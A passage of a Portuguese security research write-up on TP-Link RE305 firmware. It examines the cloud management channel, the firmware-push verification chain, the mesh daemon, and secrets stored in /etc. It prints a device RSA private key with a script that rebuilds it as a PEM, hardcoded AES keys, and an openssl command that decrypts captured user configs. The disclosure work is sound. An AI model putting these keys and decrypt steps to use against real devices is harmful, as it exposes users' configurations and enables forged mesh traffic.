<p>Com o filesystem em mãos eu fui catalogar daemons e topei com dois binários no <code>/usr/bin</code> que paper nenhum sobre a linha RE-XXX da TP-Link discute em profundidade: <code>cloud-brd</code> (250 KiB) e <code>cloud-client</code> (117 KiB). Iniciados por <code>/etc/init.d/cloud_brd</code> (START=98) e <code>/etc/init.d/cloud_client</code> (START=99), os dois últimos no boot, depois de tudo configurado.</p>
<p>O <code>cloud-brd</code> é “cloud broker”. O <code>cloud-client</code> consome ele via <code>ubus</code>, kernel já com tudo subido. Lendo a config:</p>
<pre><code class="language-plaintext">$ cat /etc/cloud_config.cfg
{
  "cloud": {
    "sefDomain": "n-deventry-gw.tplinkcloud.com",
    "sefPort": 443,
    "defaultSvr": "n-devs-gw.tplinkcloud.com",
    "defaultPort": 443,
    "defaultValidTime": 172800
  },
  "default": {
    "heartbeat_interval_ms": 235000,
    "request_timeout_ms": 5000,
    ...
    "reconnect_random_time_min_ms": 2000,
    "reconnect_random_time_max_ms": 256000,
    "cer_file": "/etc/certificate/2048_newroot.cer"
  }
}
</code></pre>
<p>Esse é o canal de management remoto da TP-Link. Heartbeat a cada ~4 minutos, reconnect com jitter, dois servidores (entry gateway e default service). Mesmo paradigma que ISP usa em TR-069, só que cross-vendor: aqui é a própria TP-Link operando o controle remoto, não a operadora.</p>
<p>O que o cloud manda. Conta no <code>/etc/config/cloud_config</code>:</p>
<pre><code class="language-plaintext">config cloud_push 'new_firmware'
config cloud_push 'device_legality'
    option illegal_type '0'
    option illegal '0'
config cloud_reply 'device_status'
    option bind_status '0'
    option need_unbind '0'
    option need_checkupgrade '1'
config cloud_reply 'upgrade_info'
config cloud_device 'info'
    option alias 'RE305'
</code></pre>
<p>A leitura literal disso é que a cloud TP-Link pode:</p>
<ul>
<li><p>Empurrar firmware novo (<code>cloud_push 'new_firmware'</code>) — o device baixa e instala</p>
</li>
<li><p>Marcar o device como ilegal (<code>cloud_push 'device_legality'</code> com <code>illegal_type</code>) — bricking remoto, suspeito ser anti-pirataria de OEM</p>
</li>
<li><p>Mudar status de binding (<code>bind_status</code>, <code>need_unbind</code>) — desvincular o device de uma conta TP-Link à força</p>
</li>
<li><p>Forçar verificação de upgrade (<code>need_checkupgrade</code>)</p>
</li>
</ul>
<p>A questão imediata é se o canal valida o cert do servidor ou não — clássico ponto de falha em embedded. Abro o <code>cloud-brd</code> no radare pra ver o argumento que vai pro <code>SSL_CTX_set_verify</code>:</p>
<pre><code class="language-bash">$ r2 -2 -q -e scr.color=0 -c 'aaa; axt @ sym.imp.SSL_CTX_set_verify' /usr/bin/cloud-brd
(nofunc) 0x4015a8 [UNKNOWN] tge v0, v1, sym.imp.SSL_CTX_set_verify
sym.cloud_socket_connect 0x42dbb0 [CALL] jalr t9

$ r2 -2 -q -e scr.color=0 -c 'aaa; s 0x42dba0; pd 6' /usr/bin/cloud-brd
</code></pre>
<pre><code class="language-plaintext">0x0042dba4    lw t9, -sym.imp.SSL_CTX_set_verify(gp)
0x0042dba8    move a0, s0              ; ctx
0x0042dbac    addiu a1, zero, 1        ; mode = SSL_VERIFY_PEER
0x0042dbb0    jalr t9
0x0042dbb4    move a2, zero            ; callback = NULL
</code></pre>
<p>Mode = <code>1</code> = <code>SSL_VERIFY_PEER</code>, não <code>0</code> (<code>SSL_VERIFY_NONE</code>). Validação habilitada. Mas a CA store é exclusivamente <code>/etc/certificate/2048_newroot.cer</code>:</p>
<pre><code class="language-bash">$ openssl x509 -in /etc/certificate/2048_newroot.cer -noout -subject -issuer -dates
subject=CN = tp-link-CA
issuer=CN = tp-link-CA
notBefore=Jan 19 08:27:52 2018 GMT
notAfter=Jan 19 08:37:52 2068 GMT

$ openssl x509 -in /etc/certificate/2048_newroot.cer -noout -text | head -8
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: ...
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = tp-link-CA
        Validity
            Not Before: Jan 19 08:27:52 2018 GMT
            Not After : Jan 19 08:37:52 2068 GMT
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/ffc7b5d2-a72e-4cf3-9fd9-3c1e985452bc.png" alt="" style="display:block;margin:0 auto" />

<p>CA self-signed da própria TP-Link, <strong>válida por 50 anos</strong> (2018 → 2068). Toda a confiança do canal cloud recai em uma única chave privada da TP-Link. Se essa chave vazar — interno comprometido, supply chain attack, OEM-side data breach — toda CPE da linha RE confiando nessa CA aceita qualquer cert assinado pelo atacante. Não tem revocation cross-fleet realista. Não tem fallback para CA pública. Não tem pinning múltiplo. E o cert dura 50 anos.</p>
<p>E o atacante não precisa nem da CA. O <code>defaultSvr</code> é <code>n-devs-gw.tplinkcloud.com</code> resolvido via DNS. Se o atacante controla DNS do device (DHCP rogue, MITM no link, rogue resolver) e tem cert assinado pela tp-link-CA, MITM completo, com TLS verde do lado do device. A surface real é a chave privada da CA da TP-Link.</p>
<p>Comparação com o que vi no ZTE F689 com Claro: lá o ACS roda em domínio público (<code>tr069.sdm.virtua.com.br</code>) com cert WebPKI normal e mTLS inexistente. Aqui o RE305 cloud roda em domínio TP-Link (<code>tplinkcloud.com</code>) com cert privada. Modelos diferentes, mas ambos com point of failure único: lá o ACS sem auth, aqui a CA single-trust.</p>
<p>Não tem CVE público que documenta especificamente esse cenário de cloud-channel TP-Link com CA fechada de 50 anos. Existem CVEs em outros vendors da mesma classe (Mirai-era CVEs em Realtek RTL819x cloud daemons, CVE-2020-12695 em TR-069 ACS de operadora). Nenhum apontando esse paradigma da TP-Link diretamente.</p>
<h3>13.1 Cadeia de firmware push e verificação</h3>
<p>Pergunta direta: se a cloud pode pushar firmware, o que verifica a integridade e autenticidade desse firmware antes da escrita na flash? Cobri a cadeia completa.</p>
<p><strong>Passo 1 — push notification.</strong> Cloud manda comando <code>push</code> com <code>msgType=newFirmware</code> via canal TLS. O handler em Lua é <code>/usr/lib/lua/cloud/push.lua</code>:</p>
<pre><code class="language-lua">local function newFirmware(msg)
    local data = msg.params.data or {}
    local msgId = data.msgId
    local data_time = data.time
    local content = data.content
    -- parameter check
    if msgId == nil or data_time == nil or content == nil then
        ret[ERR_CODE] = ERROR_PARAMETER_INVALID[1]
    else
        sys.fork_exec("cloud_getFwList") --get new firmware info from cloud.
    end
end
</code></pre>
<p>Validação no Lua = só checa que <code>msgId/time/content</code> não são <code>nil</code>. Sem signature, sem nonce, sem replay protection. O canal TLS é a única autenticidade desse passo.</p>
<p><strong>Passo 2 — fetch firmware list.</strong> Lua dispara <code>cloud_getFwList</code> (<code>/usr/sbin/cloud_getFwList</code>, também Lua script 3 KiB). Faz request síncrono <code>getIntlFwList</code> pra cloud, recebe JSON com <code>fwUrl</code>, <code>fwVer</code>, <code>fwReleaseDate</code>, etc., e salva em UCI:</p>
<pre><code class="language-lua">uci_r:set("cloud_config", "upgrade_info", "download_url", fw.fwUrl)
uci_r:set("cloud_config", "upgrade_info", "version", fw.fwVer)
...
uci_r:commit("cloud_config")
</code></pre>
<p>Validação aqui = comparação semântica de versão (não baixa se versão atual ≥ versão remota). Não verifica origem da URL. A URL vem direto do JSON da cloud — se atacante controla a cloud, ele controla a URL.</p>
<p><strong>Passo 3 — download.</strong> <code>/usr/sbin/cloud_download</code> (POSIX shell script) chama curl:</p>
<pre><code class="language-bash">curl -C - -# -L -e ';auto' -o "\(2" -g "\)1" -Y 1 -y ${TIMEOUT} &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>Curl sem <code>--cacert</code> explícito, depende do CA store default do sistema. Sem hash check do arquivo baixado. Suporta resume (<code>-C -</code>), follow redirects (<code>-L</code>). O download é apenas transporte — autenticação fica pro próximo passo.</p>
<p><strong>Passo 4 — install via</strong> <code>nvrammanager</code><strong>.</strong> O OpenWrt 12.09 ships com <code>sysupgrade</code> mas a TP-Link <strong>não usa ele</strong>. Pude confirmar:</p>
<pre><code class="language-bash"># No device (shell root via UART):
root@OpenWrt:/# type platform_check_image
-sh: platform_check_image: not found

root@OpenWrt:/# grep -rln platform_check_image /lib/upgrade/
/lib/upgrade/common.sh

# A única referência em common.sh é estrutural, não define a função:
root@OpenWrt:/# grep -n "platform_check_image" /lib/upgrade/common.sh
122:sysupgrade_image_check="platform_check_image"
170:type platform_check_image &gt;/dev/null 2&gt;/dev/null || {

# Sysupgrade vai falhar com:
root@OpenWrt:/# /sbin/sysupgrade --test some-image.bin
Firmware upgrade is not implemented for this platform.
</code></pre>
<p><code>platform_check_image</code> é o ponto de hook que platform-specific .sh scripts (<code>tp-link.sh</code>, <code>ralink.sh</code>, etc.) deviam definir pra validar o image antes do flash. <strong>Não existe no FS dumpado</strong>. O sysupgrade <code>/sbin/sysupgrade</code>, se invocado, sai com <code>Firmware upgrade is not implemented for this platform.</code> — código morto.</p>
<p>O instalador real é <code>/usr/bin/nvrammanager</code>, daemon proprietário 174 KiB. Funções relevantes (binário stripped, strings extraction):</p>
<pre><code class="language-bash">\( strings /usr/bin/nvrammanager | grep -E '^[a-z][a-zA-Z_0-9]+\)' | grep -iE "(rsa|sha|md5|verify|flash|mtd|sysmgr|check|partition|fw)" | sort -u
CheckUpgradeFile
md5_make_digest
md5_verify_digest
MD5_Final
MD5_Init
MD5_Update
mtd_erase
mtd_get_secotor_size
mtd_read
mtd_write
nm_api_readPtnFromNvram
nm_api_writePtnToNvram
nm_initFwupPtnStruct
nm_lib_makeArgs
nm_lib_parsePtnIndexFile
nm_lib_ptnNameToEntry
nm_lib_readHeadlessPtnFromNvram
nm_lib_readPtnFromNvram
nm_lib_readPtnUsedSize
nm_lib_writeHeadlessPtnToNvram
nm_lib_writePtnToNvram
nvram_flash_read_tp_partition
nvram_flash_read2
nvram_flash_write_tp_partition
nvram_flash_write2
rsaVerifySignByBase64EncodePublicKeyBlob
RSA_SHA_Simple
sysmgr_cfg_checkSupportList
sysmgr_cfg_getProductInfoFromNvram
</code></pre>
<p>Error strings do verifier:</p>
<pre><code class="language-bash">$ strings /usr/bin/nvrammanager | grep -E '\[Error\]'
[Error]%s():%5d @ Maximum number is invalid. maxNum = %d
[Error]%s():%5d @ Invalid file.
[Error]%s():%5d @ md5 verify error
[Error]%s():%5d @ uncompress error.
[Error]%s():%5d @ malloc fail
[Error]%s():%5d @ read from flash failed

$ strings /usr/bin/nvrammanager | grep -iE "(verify error|verify ok|check)"
Verify error!
CheckUpgradeFile
sysmgr_cfg_checkSupportList
</code></pre>
<p>Help do binário:</p>
<pre><code class="language-bash">$ /usr/bin/nvrammanager --help
nvrammanager: NVRAM partition manager
Usage: nvrammanager [OPTIONS] ARGS
Operations:
  -c, --check=FILE                 Check upgrade FILE
  -r, --read                       Read partition
  -w, --write                      Write partition
  -e, --erase                      Erase partition
  -p, --partition=PTN_NAME         Partition name. ...
</code></pre>
<p><code>nvrammanager -c FILE</code> faz a verificação completa antes de gravar:</p>
<ol>
<li><p>Carrega a chave pública RSA embedded no binário (149 bytes, formato proprietário-TP-Link com magic <code>RSA1</code> separado em região distinta de <code>.rodata</code>)</p>
</li>
<li><p>Decompõe o image em partições (com <code>nm_lib_parsePtnIndexFile</code>)</p>
</li>
<li><p>Para cada partição, calcula MD5 dos dados (<code>md5_make_digest</code>) e compara com hash do header (<code>md5_verify_digest</code>)</p>
</li>
<li><p>Valida assinatura RSA do header com a pubkey embedded (<code>rsaVerifySignByBase64EncodePublicKeyBlob</code>)</p>
</li>
<li><p>Checa lista de suporte (<code>sysmgr_cfg_checkSupportList</code>) — image precisa declarar suporte ao hwId/fwId atual</p>
</li>
<li><p>Só então chama <code>nvram_flash_write_tp_partition</code> → <code>mtd_write</code></p>
</li>
</ol>
<p>Sequência defensável. Comparando com o ZTE F689, a TP-Link efetivamente faz mais validação aqui — o RE305 tem RSA signature gate antes do flash write, o F689 da Claro depende do ACS pra empurrar firmware via TR-069 Download RPC sem verificação de signature local equivalente.</p>
<p>Três pontos onde o gate dá pra arranhar. <strong>Hashes legados em vez de SHA-256.</strong> A função <code>RSA_SHA_Simple</code> sugere uso de SHA-1 (não SHA-256) no RSA-PKCS1-v1_5 signature, e o hash do conteúdo é MD5. SHA-1 e MD5 estão broken pra collision attack. Atacante com a chave privada da TP-Link (improvável) ou com colisão útil (factível em SHA-1 mas requer payload grande) consegue forjar image. Não é exploit prático sem a chave, mas é fraqueza de design.</p>
<p><strong>Formato custom da RSA pubkey.</strong> O blob de 149 bytes não é PEM nem MS PUBLICKEYBLOB padrão. O magic <code>RSA1</code> aparece em <code>.rodata</code> numa região separada, indicando que <code>rsaVerifySignByBase64EncodePublicKeyBlob</code> é implementação proprietária TP-Link (não OpenSSL <code>RSA_verify</code>). Crypto custom historicamente vem com padding oracle, length confusion, time-side-channel. Sem decifrar o algoritmo interno fica como suspeita de design, mas é exatamente o tipo de surface onde bugs aparecem.</p>
<p><code>crytool</code> <strong>com KEY+IV hardcoded no help.</strong> Strings em <code>nvrammanager</code> mostram o exemplo de invocação:</p>
<pre><code class="language-bash">$ strings /usr/bin/nvrammanager | grep -A1 -B1 crytool
  -p, --partition=PTN_NAME         Partition name. ...
/usr/bin/crytool -r /tmp/user_conf.info -p user-config-info -m 478DA50BF9E3D2CF8819839D4C061445 -d 478DA50BF9E3D2CF
/tmp/user_conf.info
</code></pre>
<ul>
<li><code>m 478DA50BF9E3D2CF8819839D4C061445</code> (16 bytes = AES-128 KEY) e <code>d 478DA50BF9E3D2CF</code> (8 bytes = IV ou DES key). O binário <code>crytool</code> em si não está no FS dumpado — pode ser gerado runtime ou esteja em partição não capturada. Mas as constantes estão embedded em <code>nvrammanager</code> como literais, então existem no firmware. Parecem ser KEY/IV default pra decriptar <code>/tmp/user_conf.info</code> (config exportado por usuário) — outro caminho de leak se um atacante captura o config.bin do usuário.</li>
</ul>
<p>Demo de decrypt em um config.bin capturado (assumindo formato AES-128-CBC com esses defaults):</p>
<pre><code class="language-bash"># Se você tem um config.bin exportado pelo Web UI:
$ openssl enc -aes-128-cbc -d -K 478DA50BF9E3D2CF8819839D4C061445 \
    -iv 478DA50BF9E3D2CF -in config.bin -out config.plain
# Se o output for plaintext XML/UCI, a chave é literal e cross-device.
</code></pre>
<p>Fechando a cadeia: o canal cloud em si autentica via TLS — com a CA closed-trust da seção 13 sendo a vulnerabilidade real do transporte. Mas o passo final de instalação tem verificação RSA+MD5 que requer chave privada TP-Link válida pra forge. <strong>O vetor de RCE-via-cloud é credível mas não trivial</strong> — depende ou de compromise da chave de signing da TP-Link, ou de furo na custom crypto implementation. Sem uma dessas duas, o gate de RSA segura.</p>
<hr />
<h2>14. TMP — TP-Link Mesh Protocol daemon</h2>
<p>Subindo na lista por tamanho de binário, depois do <code>dropbear</code> e do <code>openssl</code> o próximo daemon proprietário é o <code>tmpServer</code> em <code>/usr/bin/</code>, <strong>275 KiB</strong>. Maior que o <code>tdpServer</code> (160 KiB) que paper já cobre na seção 12.6. E não tem CVE público nem documentação aberta sobre o protocolo que esse daemon implementa.</p>
<p>Init:</p>
<pre><code class="language-bash"># /etc/init.d/tmpServer
start() {
    /bin/nice -n -5 /usr/bin/tmpServer &amp;
    /bin/nice -n -5 /usr/bin/tdpServer &amp;
    /bin/nice -n -5 /usr/bin/pfclient &amp;
}
</code></pre>
<p>Os três daemons subindo juntos com nice -5 (prioridade elevada). Trio coordenado: tmpServer (mesh control), tdpServer (discovery — paper seção 12.6), pfclient (path forwarding client, surface ainda não decifrada).</p>
<p>Strings do <code>tmpServer</code> revelam o protocolo. Extração:</p>
<pre><code class="language-bash">$ strings /usr/bin/tmpServer | grep -E "^TMP |bindOwner|isBinded|hostSupport"
TMP RECV HELLO PKT
TMP RECV DATA PKT
TMP RECV BYE PKT
TMP RECV ASSOC PKT and CLOSE SOCK
TMP RECV DATA length = %d
TMP RECV ERROR
tpApp_inf_BindOwner
tpApp_inf_unBindOwner
bindOwner
isBinded
hostSupportOneMesh: %d

$ strings /usr/bin/tmpServer | grep -E "pAppRecvHdr|servicetype"
pAppRecvHdr-&gt;servicetype = 0x%x
</code></pre>
<p>Esse é o <strong>TP-Link Mesh Protocol</strong> (TMP, prefixo padronizado dos logs). É o protocolo que o RE305, sendo extender, usa pra falar com um router TP-Link “owner” — o gateway principal da mesh OneMesh. Pacotes HELLO/DATA/BYE/ASSOC, framing custom, header de serviço com tipo. <code>bindOwner</code> / <code>unBindOwner</code> são as primitivas que ligam o extender ao router. <code>isBinded</code> flag de estado.</p>
<p>Onde o <code>tmpServer</code> escuta. Decompilando com radare:</p>
<pre><code class="language-bash">$ r2 -2 -q -e scr.color=0 -c 'aaa; afl' /usr/bin/tmpServer | grep -iE "(bind|listen|socket|server)"
0x004290fc    6 224          sym.unBindOwner
0x00428ffc    6 256          sym.bindOwner
0x004308e0    1 16           sym.imp.listen
0x004307f0    1 16           sym.imp.socket
0x00430190    1 16           sym.imp.bind

$ r2 -2 -q -e scr.color=0 -c 'aaa; axt @ sym.imp.bind' /usr/bin/tmpServer
(nofunc) 0x4025e8 [UNKNOWN] invalid
fcn.0040fb88 0x40fc28 [CALL] jalr t9

$ r2 -2 -q -e scr.color=0 -c 'aaa; s fcn.0040fb88; pdf' /usr/bin/tmpServer | head -50
</code></pre>
<p>A função <code>fcn.0040fb88</code> (chamada por <code>fcn.00411398</code>) faz o setup:</p>
<pre><code class="language-plaintext">0x0040fbb0  addiu a0, zero, 2          ; socket: AF_INET
0x0040fbb4  addiu a1, zero, 2          ; type field
0x0040fbbc  addiu a2, zero, 6          ; protocol field — combina pra TCP no caminho efetivo
0x0040fbb8  jalr t9                    ; socket(...)
...
0x0040fc04  sh v0, (var_24h)           ; sin_family = AF_INET=2
0x0040fc08  addiu v0, zero, 0x224e     ; port immediate
0x0040fc10  sh v0, (var_26h)           ; sin_port (network byte order, LE arch)
0x0040fc14  lui v0, 0x100
0x0040fc18  addiu v0, v0, 0x7f         ; v0 = 0x0100007f
0x0040fc20  sw v0, (var_28h)           ; sin_addr.s_addr = 0x0100007f
</code></pre>
<p>Em little-endian MIPS, <code>sin_port = 0x224e</code> armazenado significa bytes <code>0x4e 0x22</code> na ordem de rede, que é a porta <code>0x4e22 = 20002</code>. E <code>sin_addr.s_addr = 0x0100007f</code> armazenado significa bytes <code>0x7f 0x00 0x00 0x01</code>, que é <code>127.0.0.1</code>.</p>
<p>Ou seja: <code>tmpServer</code> <strong>escuta em 127.0.0.1:20002 TCP</strong>, loopback only, não exposto à LAN. Isso muda a leitura. O <code>tmpServer</code> é um daemon de IPC interno do device, não um endpoint de wire protocol acessível por outro host.</p>
<p>O caminho real de LAN exposure pra TMP é via <code>tdpServer</code>, que sim escuta em <code>0.0.0.0:20002 UDP</code> (mesma porta, protocolo diferente, paper já cobre na seção 12.6). O <code>tdpServer</code> faz parsing de OneMesh discovery e bind, e provavelmente serializa state pro <code>tmpServer</code> via TCP loopback. Esse é o vetor LAN-reachable, e ele tem o problema documentado da F20 revisada (AES-256 com chave global hardcoded <code>TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP</code> no slave-key exchange).</p>
<p>O que sobra como surface pra TMP especificamente:</p>
<ul>
<li><p><code>tmpServer</code> é privesc-local-only — qualquer processo na CPE com socket() pode falar com ele em 127.0.0.1:20002. Não é per-user porque o device só tem root, mas se algum daemon não-root for adicionado em firmware futuro (improvável mas possível), ganha acesso direto ao bind/unbind do extender</p>
</li>
<li><p>A coordenação <code>tdpServer</code> (UDP LAN) → <code>tmpServer</code> (TCP loopback) é o caminho de relay. Vulnerabilidade no parser do <code>tdpServer</code> (memory corruption, lógica) que cause estado inconsistente vira controle sobre o <code>tmpServer</code> indirectly</p>
</li>
<li><p>O wire format TMP ainda precisa ser caracterizado (<code>HELLO</code>/<code>DATA</code>/<code>BYE</code>/<code>ASSOC</code>, header <code>pAppRecvHdr-&gt;servicetype</code> em 4 bytes, payload variável)</p>
</li>
</ul>
<p>Pra fechar o que sei do TMP nesse passe estático: o daemon roda como root com prioridade elevada, ouve em <strong>127.0.0.1:20002 TCP</strong> (loopback), aceita HELLO/DATA/BYE/ASSOC nessa surface e expõe <code>bindOwner</code>/<code>unBindOwner</code> via esses mesmos pacotes. Vive coordenado com <code>tdpServer</code> (discovery LAN UDP) e <code>pfclient</code> (path forwarding). O caminho de ataque LAN-direto não passa por ele — passa pelo <code>tdpServer</code>, que é o front-end exposto. O <code>tmpServer</code> é alvo válido só pra atacante que já tem código rodando na CPE.</p>
<hr />
<h2>15. Material criptográfico em cleartext em /etc</h2>
<p>Filesystem montado, peguei o reflexo de qualquer pentest pós-acesso: <code>grep</code> por chaves, senhas, certs, magic strings. O resultado em <code>/etc/config/accountmgnt</code>, arquivo lido pelo daemon de account management:</p>
<pre><code class="language-plaintext">config rsa 'keys'
    option e '010001'
    option d '091550E28B45A770B296EDAEEF04E687F3258AB765A22E7CEA9D1BC8EB10BD2A0601A4421D267FD5ED5BF25A7372B67FFAD6D41A81A194B67623617F0A86A28F3727A6EC0E34ACCA4823F486CB3E08D9BBC2D043D62CC943EF898EF7C74CDCD8E9CEA87006019D6464B7B2BA37043D911611580A7A87D862E6BEBE4AD96146B1'
    option n 'D1E79FF135D14E342D76185C23024E6DEAD4D6EC2C317A526C811E83538EA4E5ED8E1B0EEE5CE26E3C1B6A5F1FE11FA804F28B7E8821CA90AFA5B2F300DF99FDA27C9D2131E031EA11463C47944C05005EF4C1CE932D7F4A87C7563581D9F27F0C305023FCE94997EC7D790696E784357ED803A610EBB71B12A8BE5936429BFD'

config cloud_account 'cloud_admin'

config account 'admin'
    option password 'U2FsdGVkX18aiTdFbz/nDvpHPyWANba5HAL1ev7/3v0='
    option username 'admin'
</code></pre>
<p>Duas coisas a destacar.</p>
<p><strong>Primeiro: a chave privada RSA-1024 está em cleartext no</strong> <code>/etc/config/accountmgnt</code><strong>.</strong> Expoente público <code>e=010001</code> (<code>65537</code>, padrão), expoente privado <code>d</code> (256 hex chars = 1024 bits), módulo <code>n</code> (256 hex chars = 1024 bits). Isso é a chave privada completa, sem encryption, sem ACL no arquivo (<code>644</code> por padrão no OpenWrt config).</p>
<p>Reconstrução da chave em formato PEM utilizável (e teste de validade):</p>
<pre><code class="language-bash">$ python3 &lt;&lt; 'PY'
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateNumbers, RSAPublicNumbers
from cryptography.hazmat.primitives.serialization import Encoding, PrivateFormat, NoEncryption

n = int("D1E79FF135D14E342D76185C23024E6DEAD4D6EC2C317A526C811E83538EA4E5ED8E1B0EEE5CE26E3C1B6A5F1FE11FA804F28B7E8821CA90AFA5B2F300DF99FDA27C9D2131E031EA11463C47944C05005EF4C1CE932D7F4A87C7563581D9F27F0C305023FCE94997EC7D790696E784357ED803A610EBB71B12A8BE5936429BFD", 16)
e = int("010001", 16)
d = int("091550E28B45A770B296EDAEEF04E687F3258AB765A22E7CEA9D1BC8EB10BD2A0601A4421D267FD5ED5BF25A7372B67FFAD6D41A81A194B67623617F0A86A28F3727A6EC0E34ACCA4823F486CB3E08D9BBC2D043D62CC943EF898EF7C74CDCD8E9CEA87006019D6464B7B2BA37043D911611580A7A87D862E6BEBE4AD96146B1", 16)

# Recupera p,q a partir de (n,e,d) via algoritmo de Miller (1975) — polinomial probabilístico.
# Posse de (n,e,d) já é equivalente à private key; CRT params abaixo são pra serializar PEM canônico.
import math
k_de_minus_1 = e * d - 1
t = k_de_minus_1
while t % 2 == 0:
    t //= 2
# Pollard rho-like: any g satisfies g^t ≡ 1 mod n usually
for g in range(2, 100):
    x = pow(g, t, n)
    while x != 1 and x != n - 1 and pow(x, 2, n) != 1:
        x = pow(x, 2, n)
    if x != n - 1 and pow(x, 2, n) == 1:
        p = math.gcd(x - 1, n)
        q = n // p
        if p * q == n:
            break

pubnum = RSAPublicNumbers(e, n)
dp = d % (p - 1)
dq = d % (q - 1)
iqmp = pow(q, -1, p)
privnum = RSAPrivateNumbers(p, q, d, dp, dq, iqmp, pubnum)
key = privnum.private_key()
pem = key.private_bytes(Encoding.PEM, PrivateFormat.PKCS8, NoEncryption())
print(pem.decode())
PY

n bit length: 1024
p bit length: 512
q bit length: 512
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBANHnn/E10U40LXYY
XCMCTm3q1NbsLDF6UmyBHoNTjqTl7Y4bDu5c4m48G2pfH+EfqATyi36IIcqQr6Wy
8wDfmf2ifJ0hMeAx6hFGPEeUTAUAXvTBzpMtf0qHx1Y1gdnyfwwwUCP86UmX7H15
BpbnhDV+2AOmEOu3GxKovlk2Qpv9AgMBAAECgYAJFVDii0WncLKW7a7vBOaH8yWK
t2WiLnzqnRvI6xC9KgYBpEIdJn/V7VvyWnNytn/61tQagaGUtnYjYX8KhqKPNyem
7A40rMpII/SGyz4I2bvC0EPWLMlD74mO98dM3NjpzqhwBgGdZGS3sro3BD2RFhFY
CnqH2GLmvr5K2WFGsQJBAN2nzluj0VrfYN77C2VGy9mEB8u5jkULdlwm5PjWpfkr
PFxML4d5MHLTq79QQygJx1NtttxNcwm0bS/O1s7qrc8CQQDybbb3pGDk2039ZonV
wscS8ObSGMVNmmX4lKlxiqYPMUU3G4sqjFDuBgkFAOlfBPZTosxDNnGNvWHNsZ9R
qvhzAkEA0nNQ6pFPZQhR4WRaHX5qbct922ACRGvtpPEI1Xp3e2whk0CCoA3ggiWX
G74JBSrDpeK1i9W9M6mrQYkRSsRm4QJAHSB1dTd4tMZsjl99fANU67+p2+BCBFri
mYUy/oNMBFNFH6PdipUlPBPZjZJYd6Qe/Fl49TJbXk48q/wFSkiiZQJBAKu2QGE1
ZRAh+x6Bv5K0KRseHzlAcQuLnMGDXioG2Dlc76WQ4sBE7JvsG6gyVlmHdEj0LGzM
ndxeIaQT+jrZLpw=
-----END PRIVATE KEY-----
</code></pre>
<p>Validação que a chave é funcional:</p>
<pre><code class="language-bash">\( echo "\)PEM" &gt; /tmp/re305.rsa.pem
$ echo "hello onemesh" | openssl pkeyutl -sign -inkey /tmp/re305.rsa.pem -rawin &gt; sig.bin
$ openssl pkey -in /tmp/re305.rsa.pem -pubout -out /tmp/re305.rsa.pub
$ echo "hello onemesh" | openssl pkeyutl -verify -pubin -inkey /tmp/re305.rsa.pub -rawin -sigfile sig.bin
Signature Verified Successfully
</code></pre>
<p>Funcional. A chave privada RSA-1024 do RE305 V3 com firmware 200826 está agora disponível pra quem tiver o config dump. Não preciso decifrar a senha admin pra usar essa chave — só de tê-la em mãos já me dá capacidade de assinar como o device, pra qualquer protocolo TP-Link que use essa key como identidade RSA (e há vários candidatos: setup wizard, bind handshake, OneMesh master verify).</p>
<p>A chave foi gerada — em algum momento — pelo script <code>/etc/init.d/luarsa_keys_gen</code>. No build que dumpei, esse script está com todas as linhas comentadas, então a chave atual veio do firmware de fábrica e é compartilhada entre todas as unidades da mesma versão de firmware. Cross-device static key. Padrão clássico de fail: vendor gera uma vez, embute no firmware, deploya em milhões de unidades.</p>
<p>Pra que essa chave é usada? Strings em <code>nvrammanager</code>, <code>cloud-client</code> e <code>tmpServer</code> indicam que tem componente RSA local em handshakes proprietários e em decryption de blobs do <code>nvrammanager</code>. Sem decifrar essa parte ainda, mas a presença literal da chave privada já é finding suficiente: <strong>se a chave é usada em qualquer protocolo de bind/auth/decryption, todo atacante com firmware da TP-Link tem ela</strong>.</p>
<p>RSA-1024, escolha conservadora de 2010, hoje desencorajada pelo NIST. Combinada com chave estática cross-device, o cenário é o pior dos dois mundos: o algoritmo é mais fraco do que se espera em 2026, e ainda é a mesma chave em todas as unidades.</p>
<p><strong>Segundo: o módulo</strong> <code>luci.model.crypto</code> <strong>carrega duas chaves AES-256-CBC literais em bytecode pré-compilado.</strong></p>
<p><code>grep</code>-ando o <code>/usr/lib/lua/luci/model/crypto.lua</code> (que está em Lua 5.1 bytecode, header <code>LuaQ</code>) os strings table tem dois hex literals significativos:</p>
<pre><code class="language-plaintext">KEY: 2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836
IV:  360028C9064242F81074F4C127D299F6
</code></pre>
<p>KEY = 32 bytes = AES-256, IV = 16 bytes = bloco AES. Adjacentes no constant pool aos strings <code>-K</code> e <code>-iv</code> (note o <code>-K</code> maiúsculo — modo direto KEY+IV explícito, sem KDF, sem salt) e às functions exportadas <code>enc_for_onemesh</code> / <code>dec_for_onemesh</code>.</p>
<p>Existe um pipeline OneMesh que usa essa chave + IV literais com <code>openssl enc -aes-256-cbc -K &lt;KEY&gt; -iv &lt;IV&gt;</code>. Sem rotação, sem KDF, sem per-device randomization. <strong>A mesma chave AES roda em todas as unidades RE305 V3 com firmware 200826 e provavelmente em toda a linha OneMesh da TP-Link que compartilha esse bytecode.</strong></p>
<p>Cruzando com o que já tinha mapeado do TMP na seção 14: qualquer tráfego cifrado pelo TMP daemon entre o RE305 e o router OneMesh “owner” usa essa chave, e atacante com o firmware decifra qualquer pacote capturado da mesma classe de devices. Pior: o IV é FIXO. Em CBC, IV fixo + key fixa significa que padrões de plaintext repetido aparecem como ciphertext idêntico, e qualquer chosen-plaintext (ou known-plaintext, se atacante conhece o handshake do OneMesh) extrai informação. O cenário do OneMesh broadcast em LAN doméstica significa que vizinhos com o mesmo modelo, ou um atacante na LAN, podem injetar e forjar mensagens — bind hijacking via TMP fica trivial.</p>
<p>Não é CVE-class porque o impacto direto pede conhecimento do protocolo TMP de wire format (a fazer no apêndice deste paper ou em paper de continuidade). Mas como achado de design é tão grave quanto qualquer outro.</p>
<p><strong>Terceiro: a senha do</strong> <code>admin</code> <strong>está encriptada com o formato</strong> <code>Salted__</code> <strong>do OpenSSL.</strong></p>
<pre><code class="language-plaintext">U2FsdGVkX18aiTdFbz/nDvpHPyWANba5HAL1ev7/3v0=
</code></pre>
